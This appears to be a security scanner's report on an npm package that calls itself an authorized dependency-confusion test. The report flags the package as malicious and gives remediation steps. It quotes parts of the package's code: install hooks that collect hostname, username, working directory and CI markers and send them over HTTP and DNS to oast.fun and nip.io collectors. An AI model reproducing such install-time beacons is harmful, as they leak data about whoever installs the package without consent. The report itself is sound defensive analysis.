registry / Data exfiltration / @myorder-frontend-commons/analytics / 5.0.0

@myorder-frontend-commons/analytics@5.0.0

AUTHORIZED security research PoC (dependency-confusion test for Allegro, with written permission from Allegro Cybersecurity). Harmless: emits a single host-identification beacon on install to confirm code execution in the build/CI environment, then exits.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 11d ago · by lpm-firewall-ai

The package performs an automatic install-time disclosure of identifying host and CI data to publisher-selected external collectors without installer consent. This is a concrete installation beacon and warrants blocking.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package runs its preinstall, install, or postinstall hook.

Impact

The collectors can identify the machine, user, working directory, and CI environment that installed the package.

Mechanism

The PoC collects host and user details, encodes them in an HTTP request, and also places identifying data in a DNS-visible hostname.

Attack narrative

Installing the package automatically runs the PoC from all three install lifecycle hooks. It collects host, user, working-directory, platform, Node, package, and CI marker information, then transmits it to external collectors over HTTP and exposes identifying data through DNS. The package's authorization claim does not establish consent from the installing consumer.

AI rationale

Evidence

package.jsonpoc.js

Network endpoints2

db4jftohu4noreqdanngpnb3ger45ykrt.oast.fun80-190-83-27.nip.io

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs poc.js automatically during preinstall, install, and postinstall.
poc.js collects hostname, username, platform, working directory, Node version, package version, and present CI marker names.
poc.js encodes the collected information into an outbound request path.
poc.js sends the beacon to default external collectors without installer consent enforcement.

Evidence against

The package describes the beacon as authorized research and says it avoids secret values, but those package-authored claims do not establish installer consent.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 4.74 KB of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node poc.js", "install": "node poc.js", "postinstall": "node poc.js" }, "keywords": [ "security",

High

Suspicious Lifecycle Evidence

package.json runs poc.js automatically during preinstall, install, and postinstall.

package.jsonView on unpkg · L6

poc.jsView file

•matchType = malicious_source_fingerprint_signature signature = 792537aeadbf189f signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @myorder-frontend-commons/analytics@0.1.0 matchedPath = poc.js matchedIdentity = npm:[redacted]:0.1.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

poc.jsView on unpkg

43var info = { poc: TOKEN, trigger: process.env.npm[redacted] || 'manual', // preinstall | postinstall | install ... pkg: '@myorder-frontend-commons/analytics', pkgVersion: safe(function () { return require('./package.json').version; }, '?'), hostname: safe(function () { return os.hostname(); }, '?'), user: safe

High

Ai Review Evidence

poc.js collects hostname, username, platform, working directory, Node version, package version, and present CI marker names.

poc.jsView on unpkg · L43

56var qs = Object.keys(info).map(function (k) { return encodeURIComponent(k) + '=' + encodeURIComponent(String(info[k])); }).join('&'); var path = '/beacon/' + TOKEN + '?' + qs; // DNS-visible breadcrumb: hex(hostname|user|versio

High

Ai Review Evidence

poc.js encodes the collected information into an outbound request path.

poc.jsView on unpkg · L56

25// Researcher-controlled collectors. var OOB = process.env.POC_CALLBACK_DOMAIN || '[redacted].oast.fun'; // interactsh (DNS+HTTP) var BACKUP = process.env.POC_BACKUP_HOST || '80-190-83-27.nip.io'; // self-hosted

High

Ai Review Evidence

poc.js sends the beacon to default external collectors without installer consent enforcement.

poc.jsView on unpkg · L25

68function beacon(host) { try { var req = http.get( { host: host, port: 80, path: path, timeout: 4000, headers: { 'User-Agent': 'allegro-dc-poc/1.0 (authorized security test)' } }, function (res) { res.resume(); } ); req.on('error', function () {}); req.on('timeout', function () { re

High

Ai Review Evidence

poc.js sends the beacon to default external collectors without installer consent enforcement.

poc.jsView on unpkg · L68

80beacon(label + '.' + OOB); // primary: interactsh (catches DNS even if HTTP blocked) beacon(BACKUP); // backup: self-hosted :80 collector

High

Ai Review Evidence

poc.js sends the beacon to default external collectors without installer consent enforcement.

poc.jsView on unpkg · L80

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node poc.js", "install": "node poc.js", "postinstall": "node poc.js" }, "keywords": [ "security",

High

Suspicious Lifecycle Evidence

package.json runs poc.js automatically during preinstall, install, and postinstall.

package.jsonView on unpkg · L6

poc.jsView file

High

Findings

8 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturepoc.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepoc.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

Affected versions and remediation

This report applies to @myorder-frontend-commons/analytics@5.0.0.

See all versions of @myorder-frontend-commons/analytics for other recorded verdicts.

Avoid installing @myorder-frontend-commons/analytics@5.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-13 23:00:04.836Z (UTC).

Source advisory published: 2026-10-09 19:31:38.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other data exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other data exfiltration packages